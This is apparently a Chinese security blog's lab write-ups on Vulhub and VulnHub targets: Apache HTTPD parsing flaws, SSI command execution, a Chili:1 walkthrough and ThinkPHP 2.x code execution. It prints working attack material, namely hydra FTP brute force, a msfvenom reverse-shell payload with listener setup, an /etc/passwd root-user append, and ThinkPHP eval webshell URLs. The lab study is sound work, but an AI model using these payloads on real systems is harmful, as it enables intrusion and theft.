Vulnhub靶场练习

Apache HTTPD 换行解析漏洞

Apache HTTPD 换行解析漏洞 CVE-2017-15715

环境搭建:利用vulhub httpd模块的环境

1
2
docker-compose build  #将镜像拉到本地
docker-compose up -d #启动漏洞环境*

影响版本: Apache 2.4.0~2.4.29
影响说明: 绕过服务器策略,上传webshell
环境说明: PHP5.5、Apache2.4.10
漏洞原理:

在httpd2.4.0~2.4.29版本中有如下配置

SetHandler application/x-httpd-php

这是httpd解析php文件的表达式,关键在于表达式结尾的$字符,这个字符在正则表达式中用于匹配字符串结尾的位置,同时也会匹配换行符号。

若是黑名单匹配,我们上传是就可以成功,并且在解析是会匹配换行符,访问时在php后面加上%0a就能正常访问。

但是在使用中大部分情况下是作为文件名,这样会自动过滤换行符

且在windows上面%0a无法作为后缀

打开环境界面是一片空白

我们需要构建上传表单

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<html>

<head>
</head>

<body>
<form action="http://?.?.?.?:8080/" method="post" enctype="multipart/form-data">
<input type="file" name="file">
<input type="text" name="name">
<input type="submit" value="submit">
</form>
</body>

</html>

如果这里想要直接上传文件名为1.php%0a的文件,那么结果也是不成功的,因为$_FILES[‘file’]会直接过滤掉%0a

我们需要用bp抓包,然后在文件名后面加上一个换行

在这里插入图片描述

浏览器输入 url/aa.php%0a 就能看到解析成php了 绕过了黑名单

在这里插入图片描述

Apache httpd 多后缀解析漏洞

漏洞原理
apache httpd支持一个文件有多个后缀,如:test1.php.pdf 。在windows下,会直接根据最后的.来进行分隔,将其判定为pdf文件,但在apache中可不是这样的,apache会从后往前依次进行判别,遇到不认识的后缀,便会往前读,如果还是不认识再往前,若是到最后一个都不认识,则会将该文件当成默认类型文件读取。
那么有人要问了,我怎么知道它认识哪些不认识哪些呢?在/etc下有个mime.types文件定义了apache可以识别的文件后缀。

该解析漏洞产生的原因一部分是基于apache的这种特性,还有一大部分原因都是由于开发人员的配置不当构成的,当运维人员在配置文件给.php添加了处理器时:

1
2
AddHandler application/x-httpd-php .php
多后缀的文件名中只要存在.php后缀,则就会将该文件当做php文件解析。

环境搭建

1
2
docker-compose build  #将镜像拉到本地
docker-compose up -d #启动漏洞环境*
1
docker exec -it  [contai nid] /bin/bahs

进入环境查看源码

;

上传一个 aa.php.jpg

在这里插入图片描述

可以看到上传成功了

我们访问路径可以看到解析成 php了

Apache ssl远程命令执行漏洞

漏洞描述:

在测试任意文件上传漏洞的时候,目标服务端可能不允许上传php后缀的文件。如果目标服务器开启了SSI与CGI支持,我们可以上传一个shtml文件,并利用#exec cmd=“id” 语法执行任意命令。

SSI 服务器端包含

SSI(server-side includes)能帮我们实现什么功能:
SSI提供了一种对现有HTML文档增加动态内容的方法,即在html中加入动态内容。

SSI是嵌入HTML页面中的指令,在页面被提供时由服务器进行运算,以对现有HTML页面增加动态生成的内容,而无须通过CGI程序提供其整个页面,或者使用其他动态技术。

从技术角度上来说,SSI就是在HTML文件中,可以通过注释行调用的命令或指针,即允许通过在HTML页面注入脚本或远程执行任意命令。

在测试任意文件上传漏洞的时候,目标服务端可能不允许上传php后缀的文件。如果目标服务器开启了SSI与CGI支持,我们可以上传一个shtml文件,并利用语法执行任意命令。

漏洞原理:

1
2
3
当目标服务器开启了SSI与CGI支持,我们就可以上传shtml,利用<!--#exec cmd="id" -->语法执行命令。

使用SSI(Server Side Include)的html文件扩展名,SSI(Server Side Include),通常称为"服务器端嵌入"或者叫"服务器端包含",是一种类似于ASP的基于服务器的网页制作技术。默认扩展名是 .stm、.shtm 和 .shtml。

复现开始

进入 /url/upload.php

上传 php发现不行 我们bp抓包上传 .shtml

在这里插入图片描述

可以发现成功命令执行了

image-20210622101845954

Chili:1

环境搭建

https://www.vulnhub.com/entry/chili-1,558/

下载https://download.vulnhub.com/chili/Chili.ova 然后右键用vmware打开即可

我这里使用的nat模式连接

信息收集

1
nmap -sn 192.168.94.197/24

在这里插入图片描述

1
nmap -sS -sV -O -p-  192.168.94.247

在这里插入图片描述

发现开启了 21 ftp端口

正式开始

访问 ip的 80端口 发现啥也没有

看到提示

  • Hint : “If you ever get stuck, try again with the name of the lab”

感觉是爆破ftp 获得密码

账号就用提示的 chili

密码脚本用

1
hydra -l chili -P /usr/share/wordlists/rockyou.txt -f -V ftp://192.168.94.247

在这里插入图片描述

发现了密码

直接ftp登录吧

1
ftp 192.168.94.247

然后用 msf拿个shell

进入网站根目录,发现有隐藏文件,且.nano是具有最高权限的目录文件,考虑在该目录下传入木马

先生成木马

1
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.94.197 LPORT=2233 -f raw  > shell.php

然后将该木马传到靶机的.nano目录下

1
put /home/kali/桌面/shell.php  aa.php

在这里插入图片描述

目前aa.php没有可执行权限,给它赋予最高权限

1
chmod 777 aa.php

成功上传后,这里我们通过msf反弹shell,在kali端口开启端口监听,然后通过浏览器访问我们的木马:

1
2
3
4
5
use exploit/multi/handler
set payload php/meterpreter_reverse_tcp
set LHOST 192.168.94.197
set LPORT 2233
run

可以看到建立连接了

在这里插入图片描述

然后进入shell模式

1
shell

切换交互式shell

1
python3 -c "import pty;pty.spawn('/bin/bash')"

看了看自己权限

1
www-data

上传一个linux提权脚本

https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite

在这里插入图片描述

使用ftp 上传

1
put  /home/kali/桌面/privilege-escalation-awesome-scripts-suite-master/privilege-escalation-awesome-scripts-suite-master/linPEAS/linpeas.sh  /var/www/html/.nano/a.sh

然后再msf 终端 执行

1
./a.sh

发现/etc/passwd对于其他用户有写的权限,这里我们可以直接添加一个高权限用户进去:

1
2
3
openssl passwd -1 -salt salt l1yee
$1$salt$6GXvLeiShroUP6WTte.ny/
echo 'salt:$1$salt$6GXvLeiShroUP6WTte.ny/:0:0::/root:/bin/bash'>>/etc/passwd

在这里插入图片描述

然后

1
su salt

在这里插入图片描述

成功获取 root权限

参:https://www.cnblogs.com/zzjdbk/p/14096084.html

https://www.cnblogs.com/sym945/p/13723537.html

https://blog.csdn.net/qq_42967398/article/details/108928297

https://blog.csdn.net/qq_40549070/article/details/108926099

ThinkPHP 2.x 任意代码执行漏洞

漏洞描述

在ThinkPHP ThinkPHP 2.x版本中,使用preg_replace的/e模式匹配路由:

1
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。

ThinkPHP 3.0版本因为Lite模式下没有修复该漏洞,也存在这个漏洞。

正则知识

  • runoo+b,可以匹配 runoob、runooob、runoooooob 等,+ 号代表前面的字符必须至少出现一次(1次或多次)。
  • runoo*b,可以匹配 runob、runoob、runoooooob 等,* 号代表前面的字符可以不出现,也可以出现一次或者多次(0次、或1次、或多次)。
  • colou?r 可以匹配 color 或者 colour,? 问号代表前面的字符最多只可以出现一次(0次、或1次)。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
(.+)默认是贪婪匹配
(.+?)为惰性匹配
疑问号让.+的搜索模式从贪婪模式变成惰性模式。
var str = 'aaa<div style="font-color:red;">123456</div>bbb'
<.+?>会匹配<div style="font-color:red;">
<.+>会匹配<div style="font-color:red;">123456</div>
要在浏览器测试结果的话,输入:
var str = 'aaa<div style="font-color:red;">123456</div>bbb'
str.match(/<.+?>/);
str.match(/<.+>/);
下面举个简单的例子来说明。
1.贪婪匹配是先看整个字符串是否匹配,如果不匹配,它会去掉字符串的最后一个字符,并再次尝试。如果还不匹配,那么再去掉当前最后一个,直到发现匹配或不剩任何字符。
var str='abcdabceba'
/.+b/ //匹配一个或多个任意字符后面跟一个字母b
执行str.match(/.+b/)
第一次(先看整个字符串是否是一个匹配) abcdabceba 不匹配,然后去掉最后一个字符a
第二次(去掉最后一个字符后再匹配) abcdabceb 匹配,返回abcdabceb。
2.惰性匹配是从左侧第一个字符开始向右匹配, 先看第一个字符是不是一个匹配, 如果不匹配就加入下一个字符再尝式匹配, 直到发现匹配...
执行str.match(/.+?b/)
第一次(读入左侧第一个字符) a 不匹配加一个再式
第二次 ab 匹配,返回ab
当正则表达式中包含重复量词(如:*,?,+)时,通常的行为是匹配尽可能多的字符,比如:a(.*)b去匹配aabab字符串,它会匹配整个字符串,这被称为贪婪匹配。

preg_replace函数之命令执行

https://xz.aliyun.com/t/2557

https://xz.aliyun.com/t/2577

thinkphp

  • ThinkPHP的url规则
    thinkphp 所有的主入口文件默认访问index控制器(模块)
    thinkphp 所有的控制器默认执行index动作(方法)
    存在漏洞的static public function dispatch(),叫URL映射控制器,也就是URL访问的路径是映射到哪个控制器下。
    ThinkPHP5.1在没有定义路由的情况下典型的URL访问规则是:
1
2
3
http://serverName/index.php(或者其它应用入口文件)/模块/控制器/操作/[参数名/参数值...]
如果不支持PATHINFO的服务器可以使用兼容模式访问如下:
http://serverName/index.php(或者其它应用入口文件)?s=/模块/控制器/操作/[参数名/参数值...]

关键代码

漏洞出现在Dispatcher.class.php这个文件中的url解析,代码太多了,只贴关键代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
$depr = C('URL_PATHINFO_DEPR');
// 分析PATHINFO信息
self::getPathInfo();

if(!self::routerCheck()){ // 检测路由规则 如果没有则按默认规则调度URL
$paths = explode($depr,trim($_SERVER['PATH_INFO'],'/'));
$var = array();
if (C('APP_GROUP_LIST') && !isset($_GET[C('VAR_GROUP')])){
$var[C('VAR_GROUP')] = in_array(strtolower($paths[0]),explode(',',strtolower(C('APP_GROUP_LIST'))))? array_shift($paths) : '';
if(C('APP_GROUP_DENY') && in_array(strtolower($var[C('VAR_GROUP')]),explode(',',strtolower(C('APP_GROUP_DENY'))))) {
// 禁止直接访问分组
exit;
}
}
if(!isset($_GET[C('VAR_MODULE')])) {// 还没有定义模块名称
$var[C('VAR_MODULE')] = array_shift($paths);
}
$var[C('VAR_ACTION')] = array_shift($paths);
// 解析剩余的URL参数
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
$_GET = array_merge($var,$_GET);
}

首先 $depr变量为PATHINFO模式下,各参数之间的分隔符号。之后调用getPathInfo()函数,此函数获得服务器的PATH_INFO信息,PATH_INFO是PHP的一种路由模式,定位到convention.php配置文件中

1
2
3
4
// PATHINFO 模式,使用数字1、2、3代表以下三种模式:
// 1 普通模式(参数没有顺序,例如/m/module/a/action/id/1);
// 2 智能模式(系统默认使用的模式,可自动识别模块和操作/module/action/id/1/ 或者 /module,action,id,1/...);
// 3 兼容模式(通过一个GET变量将PATHINFO传递给dispather,默认为s index.php?s=/module/action/id/1)

重点是后面

1
2
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
$_GET = array_merge($var,$_GET);

主要分析一下这个正则 这个 $depr 是 分隔符 / (\w+) 匹配数字字母下划线

([^'.$depr.'\/]+) 这个匹配除了 / 以外的字符 $var[\'\\1\']="\\2";是反引用

匹配第一个元组 和第二个元组的内容 implode($depr,$paths)/ 分隔$paths

整个匹配就是 比如 a/b/c/d 结果是 $var[a]=b $var[c]=d 然后 eval执行

preg_replace函数e修饰符会将第二个参数当作代码执行,后面赋值时结合双引号执行变量,造成代码执行。

需要说明的是,代码执行的位置,必须是数组的值的位置而不是键的位置。

我这里直接打payload了

1
2
3
4
5
6
7
http://site/index.php?s=/index/index/name/$%7B@phpinfo()%7D  即可执行phpinfo();

http://site/index.php/module/action/param1/{${eval($_POST[s])}} //一句话密码:s

http://site/index.php/module/action/param1/${@print(THINK_VERSION)} //查看版本

http://site/index.php/module/action/param1/${@print(C(‘DB_PASS’))} //查看数据库密码

image-20210623145238468

复现细节参:https://www.freebuf.com/sectool/223149.html

https://lazylife.top/2019/11/21/THINKPHP2-X-%E4%BB%BB%E6%84%8F%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E5%A4%8D%E7%8E%B0/

https://www.cnblogs.com/Cl0wn/p/13019858.html

https://www.cnblogs.com/g0udan/p/12252383.html

ThinkPHP5 5.0.22/5.1.29 远程代码执行漏洞

  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!

扫一扫,分享到微信

微信分享二维码
  • Copyrights © 2021-2023 Wh1tecell
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~